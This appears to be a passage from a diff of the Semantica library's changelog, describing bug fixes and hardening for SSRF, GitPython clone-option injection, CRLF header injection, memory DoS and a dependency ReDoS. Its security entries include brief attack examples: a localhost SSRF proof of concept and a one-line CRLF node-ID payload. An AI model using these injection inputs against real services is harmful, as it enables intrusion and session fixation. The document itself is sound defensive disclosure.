- **Fixed during review** (@KaifAhmad1): the timestamp validator's `math.isfinite()` guard only rejected NaN/inf — a finite-but-out-of-range epoch (e.g. milliseconds mistakenly stored instead of seconds, such as `1723600000000`) still raised an uncaught `OverflowError`/`OSError` from `datetime.fromtimestamp()`, reintroducing an unhandled 500 on `/api/decisions*` for exactly the class of bug this PR closes. Now caught and re-raised as a `ValueError`. Also excluded `bool` from the numeric branch (`isinstance(True, int)` is `True` in Python, so `timestamp=True` was silently coerced to epoch 1 instead of being rejected)
|
||||
- New/updated tests: `tests/explorer/test_explorer_api.py` (`TestRecordedDecisions`, extraction coverage, 4 new `TestDecisionResponseTimestampValidator` cases for the range/bool fixes), `tests/semantic_extract/test_spacy_model_cache.py` (6 tests)
|
||||
- `pytest tests/explorer tests/semantic_extract/test_spacy_model_cache.py`: 266 passed
|
||||
|
||||
- **Explorer UI hid backend failures: graph load hung forever, landing page always showed "System Online"** (#980, closes #977) by @ZohaibHassan16, reviewed by @Sameer6305
|
||||
- `GraphWorkspace.tsx` only destructured `{ data, isLoading, isFetching }` from `useLoadGraph()`, ignoring the `isError`/`error`/`refetch` that `useQuery` (`retry: 0`) already returned. Combined with `GraphLoadingOverlay` having no error prop and `showLoadingOverlay` staying true whenever `loadingProgress` held a stale frame, a backend-down or failed fetch left the graph workspace stuck on the last progress frame indefinitely, with no error message and no way to recover short of a full page reload
|
||||
- `GraphLoadingOverlay` now accepts `error`/`onRetry` and renders an error card with the real fetch error message and a Retry button (`refetch()`) instead of the stuck progress UI
|
||||
- The landing page's `WelcomeScreen` replaced its hardcoded `ready: boolean` (and hardcoded "System Online" text) with a real `checking` / `online` / `offline` status derived from the same connectivity probe already driving the 4th metric card, so the status dot, text, and metric can no longer drift apart or lie about connectivity
|
||||
- **Smaller fixes bundled in the same PR**: search results are now dismissible (previously stayed open indefinitely, pushing the graph down); relevance scores display as rounded whole numbers instead of `96.900`/`138.000`; added a debounced (250ms) typeahead combobox to graph search with arrow-key navigation, `aria-activedescendant`, and Escape-to-close, using the existing `/api/graph/search` endpoint
|
||||
- **Fixed during review** (Qodo): the typeahead's debounced fetch had no `AbortController`, so a fast-typing user could have a stale suggestion response resolve after a newer one, replacing correct suggestions with outdated ones. In-flight requests are now aborted on every re-debounce and when the query is cleared after a selection
|
||||
- **Noted during review** (@Sameer6305): `GraphWorkspaceShell.tsx` contains a third, unused implementation of the same graph-loading/error-handling logic this PR fixes — the issue itself named "two copies that drifted apart" as the root cause the original bug slipped through. Deliberately left out of this PR's scope and tracked separately in #981 rather than blocking this fix
|
||||
- `npx tsc -b`: clean; `test:graph-store`/`test:graph-workspace`/`test:plugin-registry`: 42 passed; `npm run build`: succeeds
|
||||
|
||||
- **Markdown import hardened against TOCTOU symlink races during file reads** (#932, closes #856) by @lakshanmuruganandam, with fixes by @Sameer6305
|
||||
- `AgentMemory._read_markdown_path` read files via `Path.read_text()` after a `Path.is_symlink()` pre-check, leaving a time-of-check/time-of-use window: a path validated as a regular file could be swapped for a symlink before the actual read, causing the importer to follow the link and read an unintended target
|
||||
- Reads now go through a new `_read_markdown_file_content()` helper: the path is opened via low-level `os.open()` with `os.O_NOFOLLOW` on platforms that support it (POSIX), so a symlink substituted after validation fails atomically with `ELOOP` instead of being followed; the resulting file descriptor is then verified with `os.fstat()`/`stat.S_ISREG()` to reject non-regular files (FIFOs, devices) even after a successful open
|
||||
- Directory imports now also exclude symlinked entries from the file listing (`not file_path.is_symlink()`), consistent with the single-file path already rejecting them
|
||||
- **Known limitation**: Windows has no `os.O_NOFOLLOW`, so on that platform the only defense is the earlier `is_symlink()` pre-check, leaving a narrow TOCTOU window; documented inline rather than implying a stronger cross-platform guarantee than the implementation provides
|
||||
- New `tests/context/test_agent_memory_markdown.py` coverage: rejecting a symlinked path at both the private helper and the public `import_data()` API, silently excluding symlinked entries during directory import, and the `fstat()`/`S_ISREG` guard against non-regular files (mocked FIFO)
|
||||
- `pytest tests/context/test_agent_memory_markdown.py`: 46 passed, 4 skipped (symlink-creation tests skip on Windows without `SeCreateSymbolicLinkPrivilege`)
|
||||
|
||||
- **`VectorManager.maintain_store()`/`collect_statistics()` crashed with `AttributeError` on persistent `VectorStore` backends** (#914, closes #855) by @yunaremaia, with fixes by @Sameer6305
|
||||
- Both methods accessed `store.vectors`/`store.metadata` directly, which are only initialized for the `inmemory` backend — any persistent backend (FAISS, Qdrant, Pinecone, Milvus, SQLite, PgVector, Weaviate) crashed immediately. Same root cause as the #839/#843/#845/#848 cluster, but `VectorManager` operates on a `VectorStore` instance from the outside, so the fix needed a public accessor rather than another internal guard
|
||||
- Added a backend-agnostic `VectorStore.count()`: the `inmemory` backend counts its local dict; persistent backends delegate to a `count()` on the wrapped backend store when one exists, or raise `NotImplementedError` — following the `get_vector()`/`get_metadata()` precedent from #843, a missing/uninitialized backend store is never silently reported as an empty, healthy store
|
||||
- `maintain_store()` and `collect_statistics()` now go through `store.count()` instead of touching `.vectors`/`.metadata`
|
||||
- **Fixed during review** (@Sameer6305): the initial version had `count()` implemented at the dispatch level only, with no shipped backend actually providing one, and `maintain_store()` manufactured a vacuous `metadata_count == vector_count` tautology for persistent backends (always reporting `healthy: True` without checking anything). Added real `count()` implementations to `FAISSStore` (`len(index.vector_ids)` — FAISS has no delete path, so this list is always consistent with the index), `SQLiteVecStore`, and `PgVectorStore` (both via `SELECT COUNT(*)`); `Qdrant`/`Pinecone`/`Milvus`/`Weaviate` continue to raise `NotImplementedError` since none of them guarantee a cheap, reliable synchronous count. `maintain_store()` now reports `metadata_count: None` for persistent backends instead of the fabricated equality, with `healthy` meaning "store is reachable," not "metadata verified"
|
||||
- Two earlier Qodo findings (a count() path that silently returned 0 for a missing backend store, and an unvalidated `hasattr` check that could raise `TypeError` on a mis-shaped adapter) were fixed before this review — replaced with `NotImplementedError` and a `getattr`+`callable()` capability check, respectively
|
||||
- New `tests/vector_store/test_vector_manager_persistent.py`: dispatch-level tests for `count()` (inmemory, delegation, missing backend, non-callable `count`, mis-shaped adapter), full `VectorManager` inmemory semantics including divergence detection, persistent-backend dispatch tests, and backend-specific tests against real/mocked FAISS, SQLite (`sqlite-vec`, skipped if unavailable), and PgVector stores
|
||||
- Core `vector_store` suite: 40 passed
|
||||
|
||||
- **`ContextGraph.get_node_property`/`get_node_attributes` "not found" contract clarified; `add_node_attribute` mutation-callback exception safety fixed** (#882, closes #877) by @ZohaibHassan16
|
||||
- `get_node_property` returned `None` for both "node missing" and "property missing" with no way to distinguish them, and `get_node_attributes` returned `{}` for a missing node while its siblings disagreed on the not-found signal (`get_node_property`/`find_node` → `None`, `get_edge_data` → `{}`). Both now accept a `default=` parameter matching `dict.get()`'s convention, defaulting to their historical return values (`None` and `{}` respectively) for backward compatibility. Callers that need to disambiguate "node missing" from "value legitimately absent" can pass a private sentinel as `default`
|
||||
- Added Google-style docstrings to `get_node_property`, `get_node_attributes`, `get_edge_data`, and `find_node` documenting each method's not-found contract, addressing #877's "sibling not-found contract undocumented" gap
|
||||
- **Corrected during review**: the PR as submitted claimed to fix `add_node_attribute` firing its `mutation_callback` "outside `with self._lock`, without holding the lock," but the diff only removed a stray blank line — the callback call remained outside the lock, unchanged. Further investigation found this was not actually a bug: `self._lock` is a `threading.RLock`, and the same release-the-lock-before-invoking-the-callback pattern is used deliberately in `_add_internal_node`/`_add_internal_edge` elsewhere in this class, avoiding holding the lock for the duration of an arbitrary user-supplied callback. The real inconsistency was that, unlike those two siblings, `add_node_attribute`'s callback call wasn't wrapped in `try/except` — a raising callback propagated uncaught here but was caught and logged there. Now wrapped the same way (`except Exception as e: self.logger.warning(...)`)
|
||||
- 13 tests covering happy path, missing node, missing property, sentinel disambiguation, falsy-zero, callback firing/non-firing, and (added during review) a raising callback no longer propagating out of `add_node_attribute`
|
||||
- `pytest tests/context/test_context.py -q`: 27 passed
|
||||
|
||||
- **Three `tests/normalize/` tests failed for reasons unrelated to the normalize implementations: a missing optional-dependency skip guard, an incomplete chardet allowlist, and a UTC/local timezone mismatch** (#881, closes #860) by @aoright
|
||||
- `test_detect_language`/`test_detect_with_confidence` in `tests/normalize/test_language_detector.py` asserted on real `langdetect` output with no skip guard, even though `langdetect` is an optional dependency absent from `pyproject.toml` that `LanguageDetector` already degrades gracefully without (`LANGDETECT_AVAILABLE = False`, falls back to `default_language`) — any environment without it failed both tests unconditionally, including a fresh CI run without optional extras installed. Both are now gated with `@unittest.skipUnless(LANGDETECT_AVAILABLE, ...)`
|
||||
- `test_detect_encoding` in `tests/normalize/test_encoding_handler.py` asserted `chardet.detect()`'s result against a 3-name allowlist (`iso-8859-1`/`windows-1252`/`latin-1`); on a short Latin-1 sample, chardet is free to return other compatible single-byte codepages (e.g. `windows-1253`), which fails the allowlist and then cascades into `test_convert_to_utf8` decoding the bytes as Greek instead of the original text. The test now uses a longer, unambiguous Latin-1 corpus and asserts that the detected encoding round-trip-decodes the original text instead of matching a fixed name list; `test_convert_to_utf8` now passes `source_encoding="latin-1"` explicitly rather than relying on chardet's heuristic auto-detection
|
||||
- `test_normalize_date_relative` in `tests/normalize/test_date_normalizer.py` compared `RelativeDateProcessor`'s local-clock-based `"today"` (`datetime.now()`, naive, UTC-normalized after the fact by `convert_to_utc()`) against a separately-computed UTC reference date — failing intermittently in any timezone east of UTC whenever the local and UTC dates diverge for part of the day. The test now patches `datetime.now()` to a fixed reference time, making the assertion independent of host timezone
|
||||
- `pytest tests/normalize`: 77 passed, 2 skipped (`langdetect` not installed); `black`/`isort`/`flake8 --max-line-length=88` clean on all three changed files. Test-only change; no production code touched
|
||||
|
||||
- **MCP server reported a stale `0.4.0` version instead of the installed package version** (#870, closes #863) by @oiahoon
|
||||
- `semantica/mcp_server/__init__.py` hardcoded `"version": "0.4.0"` in both the MCP `initialize` response (`SERVER_INFO`) and the `semantica://schema/info` resource, regardless of the actual installed `semantica` version — every MCP client (Claude Desktop, Windsurf, Cline, Continue, VS Code Copilot, etc.) showed the wrong server version. Both surfaces now derive from `semantica.__version__`, the package's authoritative version source, so they can no longer drift from `pyproject.toml`
|
||||
- New regression coverage in `tests/test_mcp_server_version.py`, including `!= "0.4.0"` canaries and a cross-surface consistency check
|
||||
- **Fixed along the way**: the separate root-level `mcp/` package (`mcp/__init__.py`, `mcp/server.py`, `mcp/resources/registry.py`) — a companion MCP server implementation not included in the built distribution, but documented in `mcp/__init__.py` as a supported way to run against Claude Desktop/Windsurf/etc. from a source checkout — had the same three hardcoded `0.4.0` literals; fixed the same way, with matching regression tests in `tests/test_mcp_package_version.py`
|
||||
|
||||
- **`VectorStore._filter_by_metadata()` `AttributeError` on all persistent backends** (#857, closes #849) by @TaherTadpatri
|
||||
- `_filter_by_metadata()` iterated `self.metadata` directly, which only exists on the `inmemory` backend — any persistent backend (`faiss`, `qdrant`, `pinecone`, `milvus`, `pgvector`, `sqlite`, `weaviate`) crashed with `AttributeError` on `filter_decisions(query=None, ...)` / metadata-only filtering. Filtering is now delegated to a native `filter_by_metadata()` implemented on each backend store, using backend-native payload/SQL/JSON filtering (Qdrant `scroll()`, Pinecone `query()`, Milvus expression filters, PostgreSQL JSONB, SQLite `json_extract()`, Weaviate collection filters)
|
||||
- **Fixed along the way**: `PineconeStore.get_index()` and `filter_by_metadata()` called a nonexistent `self.describe_index_stats()` on the store itself (the method only exists on the `PineconeIndex` wrapper returned by `self.index`); the resulting `AttributeError` was silently swallowed, so dimension auto-detection always failed quietly. Now correctly calls `self.index.describe_index_stats()`
|
||||
- **Fixed along the way**: `PineconeStore.filter_by_metadata()` probed for filter-only matches using an all-zero dummy query vector, which Pinecone rejects for cosine-metric indexes — the library's own default — making metadata-only filtering silently non-functional out of the box. Now uses a unit vector instead
|
||||
- **Fixed along the way**: `PgVectorStore.filter_by_metadata()`'s list-filter branch formatted boolean values with `str(v)` (`'True'`/`'False'`), never matching PostgreSQL JSONB's lowercase `'true'`/`'false'` text rendering, even though the equivalent scalar-filter branch already handled this correctly
|
||||
- **Fixed along the way**: list-valued metadata fields (e.g. `{"tags": ["python", "js"]}`) could never match a list filter on the SQLite or PostgreSQL backends, because both extracted the whole array as its JSON/text representation instead of matching individual elements — silently diverging from the in-memory backend's set-intersection semantics. SQLite now uses `json_each()` over a `json_type`-guarded array/scalar wrapper; PostgreSQL now uses the `?|` "any array element" operator alongside the existing scalar `= ANY(...)` path
|
||||
- **Fixed along the way**: `FAISSStore.filter_by_metadata(limit=0)` returned one result instead of zero, because the limit check ran after appending the current match
|
||||
- **Fixed along the way**: `MilvusStore`'s metadata expression builder rendered `NaN`/`Infinity` filter values as bare unquoted tokens, producing an invalid Milvus expression whose server-side rejection was then swallowed by a broad `except`, indistinguishable from "no matches"; these values are now rejected up front with a clear `ValidationError`
|
||||
- New/expanded test coverage in `tests/vector_store/test_backend_metadata_filtering.py` (all 7 backends, including the Pinecone dimension/zero-vector, PgVector boolean-list, FAISS `limit=0`, and Milvus `NaN` regressions) and `tests/vector_store/test_sqlite_vec_store.py` (new `TestSQLiteVecStoreFilterByMetadata`, run against the real `sqlite-vec` extension, including the array-vs-scalar intersection case)
|
||||
|
||||
- **`DistanceExporter` silently swallowed metric computation failures, exporting `None` values indistinguishable from a legitimate "no path" result** (#879, closes #874) by @AmirF194
|
||||
- `_betweenness`, `_hop_distance`, `_weighted_distance`, and `_semantic_similarity` each caught `Exception` and returned their sentinel (`None`/`{}`) with no logging; a failed computation and a real "no path exists" looked identical in exported CSV/JSONL/DataFrame data. All four now log a `warning` with `exc_info=True` before returning the sentinel; exported row shape and values are unchanged
|
||||
- **Fixed along the way**: the module logger was built with `get_logger(__name__)`, which double-prefixed it to `semantica.semantica.export.distance_exporter` — a name `setup_logging()` never configures — so this module's logging (including a pre-existing `logger.debug` call) was silent regardless. Now uses `get_logger("export.distance_exporter")`, matching every other exporter in the module
|
||||
- New regression coverage in `tests/export/test_distance_exporter.py`: warnings fire on exception for all four helpers, exported sentinel values/shape stay unchanged, and the legitimate "no KG backend" `None` path still logs nothing
|
||||
- Full `tests/export/` suite: 71 passed
|
||||
|
||||
### Security
|
||||
|
||||
- **`FeedIngestor`/`FeedMonitor` (RSS/Atom feed ingestion) had no SSRF protection, allowing requests to internal/private network targets** (#928, closes #927) by @ZohaibHassan16
|
||||
- `FeedIngestor.ingest_feed()`, `discover_feeds()` (link-tag fetch, common-path HEAD probe, and feed-validation GET), and `FeedMonitor.check_updates()` all called `requests.get()`/`requests.head()` directly with default redirect-following and no scheme allowlist or private/loopback/link-local IP validation — despite `semantica/ingest/ssrf.py`'s `request_with_ssrf_guard()` already existing and being used by `web_ingestor.py`/`api_ingestor.py`. `ingest_feed()`'s own URL check only verified `urlparse(url).scheme`/`.netloc` were non-empty, never that the scheme was http/https or that the resolved target IP was safe. Reachable via the public `ingest_feed()`/`ingest()` entry points with any caller-supplied feed URL
|
||||
- All 5 call sites now route through `request_with_ssrf_guard()`, which validates scheme (http/https only) and resolved IP before the request, and re-validates every redirect `Location` before following it — closing both the direct-IP and redirect-chain SSRF paths. Added an `allow_private_ips` config option to both `FeedIngestor` and `FeedMonitor`, consistent with the other ingestors
|
||||
- **Fixed during review** (Qodo): `test_discover_feeds_empty` mocked `requests.get`, which no longer executes now that the code path goes through `request_with_ssrf_guard()` (backed by `requests.request`) — the test was passing without exercising the real code. Corrected to mock `requests.request` and `socket.getaddrinfo`
|
||||
- `pytest tests/ingest/test_feed_ingestor.py`: 12/12 passed. Independently reproduced the issue's own PoC (`FeedIngestor().ingest_feed("http://127.0.0.1:8765/feed.xml")` against a live local server) and confirmed it now raises `ValidationError` instead of succeeding
|
||||
- **Known limitation carried over from `discover_feeds()`'s pre-existing design**: its common-path and feed-validation loops use a blanket `except Exception: continue`, which now also silently absorbs `ValidationError` from a blocked candidate URL the same way it already absorbed network failures — the request is still correctly blocked before reaching the network, so this is not an SSRF bypass, just a missed opportunity to log "blocked as SSRF target" distinctly from "unreachable"
|
||||
|
||||
- **`RepoIngestor` clone surface hardened against GitPython URL/option injection** (#905, closes #868) by @pravit-amp
|
||||
- `RepoIngestor.ingest_repository()` passed the caller-supplied repository URL and arbitrary `**options` straight through to `git.Repo.clone_from()` on a `GitPython>=3.1.50` floor predating hardening for `ext::`-style transport helpers and `$VAR`/`${VAR}` environment-variable expansion in clone URLs — unvalidated clone options (`upload_pack`, `multi_options`, `template`, `config`, `env`, ...) could be abused for command execution, and unvalidated hostnames allowed SSRF against internal services (e.g. cloud metadata endpoints)
|
||||
- `GitPython` floor raised to `>=3.1.58`
|
||||
- Clone options passed to `clone_from()` are now allowlisted to `{depth, branch, single_branch, no_tags}`; anything else raises `ValidationError` before the clone is attempted
|
||||
- Repository URLs are validated before cloning: scheme allowlist (`https`, `http`, `git`, `ssh`), rejection of `$VAR`/`${VAR}` tokens, and hostname resolution with every returned address screened against private/loopback/link-local/unspecified ranges. scp-like SSH remotes (`user@host:path`) are recognized and normalized to `ssh://` before the clone call
|
||||
- **Fixed during review** (@Sameer6305): the SSRF check originally used `ip.is_reserved`, which flags the NAT64 Well-Known Prefix (`64:ff9b::/96`, RFC 6052) as reserved — falsely blocking `github.com` and other public hosts on IPv6-only/dual-stack networks using NAT64. Narrowed the block list to private/loopback/link-local/unspecified only
|
||||
- **Fixed during review** (@Sameer6305): local filesystem repository paths (`git clone /path/to/local/repo`) were being treated as remote URLs and rejected outright; local paths now bypass network validation entirely since they make no network requests and carry no SSRF risk
|
||||
- **Known limitation**: the SSRF host check does not classify RFC 6598 Carrier-Grade NAT space (`100.64.0.0/10`) as blocked — Python's `ipaddress.IPv4Address.is_private` does not cover that range, so a hostname resolving into it (e.g. some Kubernetes/CNI pod networks) would not be caught. Follow-up recommended to add it explicitly alongside the existing private/loopback/link-local checks
|
||||
- `pytest tests/ingest/test_repo_ingestor_security.py -v`: 44 passed
|
||||
|
||||
- **HTTP response header injection via `node_id`, unbounded-memory DoS in link prediction, and unsanitized imported node IDs in the Explorer** (#912) by @Sunil56224972
|
||||
- `semantica/explorer/routes/provenance.py`'s `GET /api/provenance/report` f-string-interpolated the `node_id` query parameter directly into the `Content-Disposition` response header; a `\r\n`-bearing `node_id` could inject arbitrary response headers (`Set-Cookie` session fixation, `Content-Type` override for reflected XSS). Fixed with `_safe_content_disposition_filename()`, which strips `\r`, `\n`, `\x00`, `"`, `\` and length-caps the value before interpolation
|
||||
- `POST /api/enrich/links` (link prediction) loaded up to 999,999 nodes with no cap or concurrency guard, then scored every candidate — a single request could consume ~1.6 GB RAM, and concurrent requests compounded that with no limit. Capped the candidate pool at 10,000 nodes (`413` if exceeded) and added an `asyncio.Semaphore(2)`, mirroring the SPARQL DoS fix in #898
|
||||
- `POST /api/import` stored uploaded JSON/CSV node IDs verbatim; since provenance reports reflect `node_id` into `Content-Disposition`, an attacker could upload a node with a CRLF-bearing ID once and trigger the header-injection chain above for every subsequent viewer. Added `_sanitize_import_node_id()`, applied to node and edge `source_id`/`target_id` fields on both the JSON and CSV import paths
|
||||
- **Corrected during review**: the JSON import path had a second, unsanitized branch — any uploaded node object already carrying a `"properties"` key (the shape this app's own `/api/export` produces, and already used elsewhere in the test suite) was appended to the graph as-is, bypassing `_sanitize_import_node_id()` entirely and leaving the stored-header-injection chain open via a one-line payload (`{"id": "<crlf>", "properties": {}}`). That branch now sanitizes `id` before storing
|
||||
- **Corrected during review**: the link-prediction cap checked `total` only *after* calling `session.get_nodes()`/`get_edges()`, which normalize the graph's *entire* matching node/edge set before applying `limit` — so the guard ran after the expensive work it was meant to prevent had already happened, on every request regardless of graph size. Added `GraphSession.get_raw_counts()`, an O(1) check against the raw `len(graph.nodes)`/`len(graph.edges)` collections, and moved the size check ahead of the normalizing calls
|
||||
- **Corrected during review**: 5 of the original PR's 22 regression tests asserted that literal words like `"Set-Cookie"`/`"Content-Type"` disappeared from the sanitized value — the sanitizer only strips `\r\n\x00"\\`, not letters, so those assertions failed against the PR's own fix as submitted. Corrected to assert on the property that actually blocks header injection (no `\r`/`\n` survives), and added end-to-end tests that exercise the real `/api/import` → `/api/provenance/report` route chain (not just the standalone sanitizer function) so the `properties`-key bypass has regression coverage
|
||||
- Full `explorer` suite: 241 passed; `tests/test_security_regression_pr2.py`: 30 passed
|
||||
|
||||
- **`fastapi`/`python-multipart` floors in the `explorer` extra allowed PYSEC-2024-38 (CVE-2024-24762 / GHSA-2jv5-9r88-3w3p, `python-multipart` ReDoS)** (#871, closes #869) by @agu2347
|
||||
- `explorer` declared `fastapi>=0.100.0` and `python-multipart>=0.0.6`; both floors resolve to versions carrying a ReDoS in `python-multipart`'s `Content-Type` header option parser (`parse_options_header`), reachable by any endpoint that accepts form/multipart data — an attacker-crafted header option can stall the event loop for minutes
|
||||
- **Corrected during review**: the original fix raised only `fastapi>=0.109.1`, leaving `python-multipart>=0.0.6` unchanged. `python-multipart` is declared as its own direct dependency in the `explorer` extra rather than pulled in transitively via `fastapi[all]`, so a bare `fastapi` install enforces no `python-multipart` floor at all — the vulnerable `0.0.6` could still resolve with `fastapi>=0.109.1` in place. Floors raised to `fastapi>=0.109.2` / `python-multipart>=0.0.7`, the first versions of each that exclude the vulnerable range
|
||||
- **Fixed along the way**: the `Security` workflow's `pip-audit` job ran only on a weekly schedule with `continue-on-error: true`, against a bare Python environment with none of Semantica's optional extras installed — it would never have seen `fastapi`/`python-multipart` regardless of which floor was pinned. `security-scan.yml`'s Safety check has the same blind spot (`pip install -e ".[llm-litellm]"` only, never `[explorer]`). `pip-audit` now also runs on `pull_request` when `pyproject.toml` changes, installs `semantica[all]`, and fails the build on any finding for that trigger; the schedule/`workflow_dispatch` runs stay non-blocking pending a full pass over any pre-existing findings across the whole `[all]` tree
|
||||
- **Caught by the new gate on its first run**: `python -m pip install -e ".[all]"` pulled in `setuptools==79.0.1`, vulnerable to CVE-2026-59890/GHSA-h35f-9h28-mq5c/PYSEC-2026-3447 (Unicode-normalization bypass of `MANIFEST.in` exclude/prune patterns on macOS APFS/HFS+, letting excluded files leak into a built sdist), fixed in `83.0.0`. `[build-system] requires` had the exact same too-permissive-floor pattern this whole entry is about (`setuptools>=61.0`), and `actions/setup-python`'s baked-in `setuptools` isn't governed by that pin at all since it's outside any isolated build. Bumped `[build-system] requires` to `setuptools>=83.0.0`, and the `Security` workflow now runs `pip install --upgrade pip setuptools` before auditing so the scanned environment can't have a stale ambient copy regardless of what governs it
|
||||
- Full `explorer` suite: 241 passed
|
||||
|
||||
## [0.6.5] - 2026-08-11
|
||||
|
||||
### Added
|
||||
|
||||
- **Embedded Oxigraph backend for `TripletStore`** (#838, closes #834) by @Linxiushen
|
||||
- Added `OxigraphStore` (`semantica/triplet_store/oxigraph_store.py`), an in-process SPARQL 1.1 store via the optional `pyoxigraph` dependency — no external server (Blazegraph/Jena/RDF4J/Anzo) required, fixing the confusing plain connection-error failure `TripletStore` previously produced with no server running (no local Docker daemon, no Java, CI, or a fresh laptop)
|
||||
- Runs fully in memory by default, or persists to a local directory via `TripletStore(backend="oxigraph", path=...)`; reopening the same directory resumes existing data
|
||||
- Full CRUD, native batch loading (`Store.extend`), named-graph scoping (`graph=` on add/query), and SPARQL SELECT/ASK/CONSTRUCT/DESCRIBE result mapping matching the existing backend contract; reuses `sparql_escaping.py` for datatype-IRI resolution instead of reimplementing it, and preserves RDF literal datatype/language metadata across writes, reads, and query results
|
||||
- New optional `semantica[tripletstore-oxigraph]` extra (`pyoxigraph>=0.5.0`), included in the `all` extra; the import is lazy, so `TripletStore` and the rest of Semantica keep working without `pyoxigraph` installed
|
||||
- Wired into `TripletStore` (`backend="oxigraph"`, added to `SUPPORTED_BACKENDS` and `NAMED_GRAPH_CAPABLE_BACKENDS`) and exported from `semantica.triplet_store`; README, module reference, glossary, and usage guide updated with install/configuration examples
|
||||
- **Fixed along the way**: a missing `pyoxigraph` install surfaced as a generic wrapped `ProcessingError` instead of the underlying `ImportError` and its install hint, because `TripletStore._initialize_store_backend()`'s broad `except Exception` caught and rewrapped it; `ImportError` is now re-raised as-is so the `pip install "semantica[tripletstore-oxigraph]"` hint reaches the caller
|
||||
- New integration tests in `tests/triplet_store/test_oxigraph_store.py` covering persistence/reopen, named-graph isolation, SELECT/ASK/CONSTRUCT result shapes, and the missing-dependency error message; skipped automatically when `pyoxigraph` isn't installed, and not yet exercised in CI since it doesn't install the optional extra or run the Python test suite
|
||||
|
||||
- **PROV-O trust blockers and general spec completeness for `ProvenanceManager`** (#825) by @KaifAhmad1
|
||||
- **Invalidation instead of hard delete**: new `ProvenanceManager.invalidate(entity_id, agent_id, reason=None)` tombstones an entry — archives its pre-invalidation state under a stable versioned key, then appends the invalidated entry (`invalidated`, `invalidated_at_time`, `invalidated_by`, `invalidation_reason`) — instead of mutating or deleting it, so an audit can prove a fact existed, was reviewed, and was retracted. `ProvenanceManager.clear()` remains the bulk dev/test store-reset utility it always was; it was not repurposed
|
||||
- **Hash-chained integrity**: every entry now carries `sequence_id`/`previous_checksum`, chaining it to the entry immediately before it in insertion order. New `ProvenanceManager.verify_chain()` walks the chain and reports any break, including a row hard-deleted directly from the underlying table — something a lone per-row SHA-256 checksum can never detect on its own. `compute_checksum()` now also covers `agent_id`/`agent_type`, the lineage-link fields, and the invalidation fields, closing several fields that previously weren't tamper-evident
|
||||
@@ -263,54 +60,6 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0
|
||||
|
||||
### Fixed
|
||||
|
||||
- **`PipelineWithProvenance` raised `ModuleNotFoundError` on import and `AttributeError` on `.run()`** (#858, closes #858) by @Karunasagar12
|
||||
- `from .pipeline import Pipeline` failed because `semantica/pipeline/pipeline.py` does not exist; corrected to `from .pipeline_builder import Pipeline`
|
||||
- `.run()` called `self._pipeline.run()` on the `Pipeline` dataclass, which has no such method; replaced with `self._engine.execute_pipeline(self._pipeline, ...)` delegating to `ExecutionEngine`
|
||||
- Constructor now accepts a built `Pipeline` instance (from `PipelineBuilder.build()`) instead of `**config`; the old `Pipeline(**config)` internal construction was invalid and never functional
|
||||
- Replaced deprecated `datetime.utcnow()` with `datetime.now(timezone.utc)` in `run()`
|
||||
|
||||
- **`VectorStore.search_vectors()` returned inconsistent result shapes across backend implementations** (#853, closes #845) by @Sameer6305, reviewed by @KaifAhmad1
|
||||
- Every built-in backend (FAISS, Milvus, pgvector, Pinecone, Qdrant, SQLite-vec, Weaviate, in-memory) now returns the same canonical `SearchResult` shape (`id`, `score`, `metadata`, `vector`, `distance`), instead of some backends omitting `vector`/`metadata`/`distance` or, for Weaviate, returning a backend-specific `properties` key instead of `metadata`
|
||||
- Added a `SearchResult` `TypedDict` (`semantica/vector_store/vector_store.py`, exported from `semantica.vector_store`) documenting the contract; `metadata` now always defaults to `{}` rather than being absent, and `id` accepts `Union[str, int]` to accommodate Milvus/Qdrant's native integer IDs without casting
|
||||
- **Review fix**: the score-normalization formula added for Pinecone and Qdrant (`1.0 / (1.0 + max(0.0, 1.0 - score))`) clamped every raw score `>= 1.0` to an identical `1.0`, silently collapsing result ranking whenever the raw score could exceed 1 — which happens routinely for dot-product-metric indexes (unbounded), as opposed to cosine (bounded to `[-1, 1]`). Replaced with `(score / (1 + |score|) + 1) / 2`, which is strictly monotonic and bounded in `(0, 1)` for any real input, so ranking order is preserved regardless of metric or vector normalization
|
||||
- Added `test_qdrant_unbounded_dot_product_scores_preserve_ranking` and `test_pinecone_unbounded_dotproduct_scores_preserve_ranking` (`tests/vector_store/test_search_result_schema.py`) asserting normalized scores stay strictly ordered and bounded for raw scores well above 1.0, the case the original formula silently collapsed and the existing tests (which only used scores `< 1`) never exercised
|
||||
- Left out of scope, per the original PR: Weaviate's `similarity_search()` still isn't wired into `VectorStore.search_vectors()`'s backend dispatch; Milvus's collection schema still has no metadata column so its results always return `metadata: {}`; and `include_vectors` support (populating the `vector` field) is not yet implemented for any backend
|
||||
|
||||
- **`DecisionEmbeddingPipeline.find_similar_decisions()` crashed with `AttributeError` for any `VectorStore` backend other than `inmemory`** (#842, closes #839) by @Sameer6305
|
||||
- `_get_candidate_embeddings()` iterated `VectorStore.vectors`/`VectorStore.metadata` directly, internal dicts only populated for `backend="inmemory"`; every persistent backend (FAISS, Pinecone, Qdrant, Milvus, ...) raised `AttributeError`. It now fetches candidates via the backend-agnostic `VectorStore.search_vectors()`, reading metadata via a `res.get("metadata") or res.get("payload")` fallback for backends that key it differently
|
||||
- Backends such as FAISS don't return the raw vector for each hit; `find_similar_decisions()` and `_find_semantic_similar()` now fall back to the search-provided score (normalized from `distance` when present) as the semantic similarity for those candidates instead of computing cosine similarity against a zero placeholder vector
|
||||
- `get_decision_statistics()` had the identical bug iterating `store.metadata.values()`; it now returns a limited stats payload with an explanatory `warning` field for backends that don't expose a full in-memory metadata dict, instead of crashing
|
||||
- **Fixed along the way**: `_get_candidate_embeddings()`'s expand-and-retry loop (which widens the search pool when post-filtering leaves too few matches) discarded every candidate it had found once the pool hit its cap (`limit * 10`) without ever collecting `limit` matches or getting a short page back from the backend — the loop fell through without executing the branch that assigns results, silently returning `[]` even when matching candidates existed. It now falls back to the last batch collected instead of dropping it
|
||||
- Added end-to-end regression tests against real `inmemory` and `faiss` backends (no mocks) plus a targeted unit test for the expand-and-retry loop's fallback behavior
|
||||
|
||||
- **`QdrantStore.search_vectors()` returned results keyed by `"payload"` instead of `"metadata"`** (#841, closes #840) by @divyankshah
|
||||
- `QdrantCollection.search_points()` built its result dicts as `{"id", "score", "payload"}`, while `PineconeStore.search_vectors()` and every other backend consumed by `HybridSearch` use `"metadata"`. This silently dropped Qdrant metadata from results and made `HybridSearch.filter_by_metadata()` reject every candidate whenever a filter was applied, since it looks up `result["metadata"]` and got nothing back
|
||||
